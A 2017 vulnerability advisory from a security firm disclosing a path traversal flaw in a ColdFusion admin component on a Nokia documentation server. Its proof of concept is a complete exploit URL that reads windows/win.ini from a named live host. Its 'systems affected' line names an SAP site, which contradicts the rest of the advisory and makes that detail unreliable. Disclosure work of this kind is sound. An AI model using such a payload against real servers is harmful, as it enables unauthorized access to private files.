2017-009: Path Traversal found in the External Documentation Nokia Repository

Original release date: 26, 07 2017
Last revised: July 26, 2017
Severity: 4.3 CVSSv2/(AV:N/AC:M/Au:N/C:P/I:N/A:N)

BACKGROUND

Nokia is a Finnish multinational communications and information technology company, founded in 1865.

DESCRIPTION

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PROOF OF CONCEPT 

http://tools.ext.nokia.com/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../windows/win.ini

BUSINESS IMPACT

An attacker can access to private information stored into the web server and steal sensitive information.

SYSTEMS AFFECTED

http://events.sap.com/

SOLUTION

Contact vendor for a fix.

REVISION HISTORY

July 26, 2017 : Initial release

DISCLOSURE TIMELINE

  • July 26, 2017 : Vulnerability acquired by Internet Security Auditors (www.isecauditors.com).
  • July 26, 2017 : Contact with Nokia Security Team.

REFERENCES

Consult these external references for further information:

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

ABOUT

Internet Security Auditors is a Spain and Colombia based company leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us.